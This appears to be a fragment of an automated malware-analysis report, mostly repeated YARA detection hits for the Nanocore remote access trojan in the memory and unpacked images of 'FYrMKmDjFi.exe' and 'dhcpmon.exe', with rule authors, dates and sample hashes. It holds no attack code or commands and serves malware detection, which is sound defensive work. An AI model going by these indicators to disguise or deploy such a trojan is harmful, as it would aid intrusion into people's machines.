Source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>

Source: FYrMKmDjFi.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.3f8df50.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.3cf4bed.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.3dfce00.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.3f84bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.2.FYrMKmDjFi.exe.371d858.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.2.FYrMKmDjFi.exe.371d858.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 14.2.dhcpmon.exe.3efb78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 10.2.dhcpmon.exe.2f14ff4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 10.2.dhcpmon.exe.2f14ff4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 10.2.dhcpmon.exe.2f14ff4.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 15.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 14.2.dhcpmon.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.56f0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.56f0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.3f805c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.2.dhcpmon.exe.292248c.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 13.2.dhcpmon.exe.292248c.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.2.dhcpmon.exe.292248c.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.3cf05c4.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 15.2.dhcpmon.exe.2d09620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.2d09620.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 4.2.FYrMKmDjFi.exe.5860000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 15.2.dhcpmon.exe.3ceb78e.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.FYrMKmDjFi.exe.2d83754.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.3.dhcpmon.exe.3b20108.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 13.2.dhcpmon.exe.292248c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 13.2.dhcpmon.exe.292248c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 13.2.dhcpmon.exe.292248c.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.FYrMKmDjFi.exe.41e05c4.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
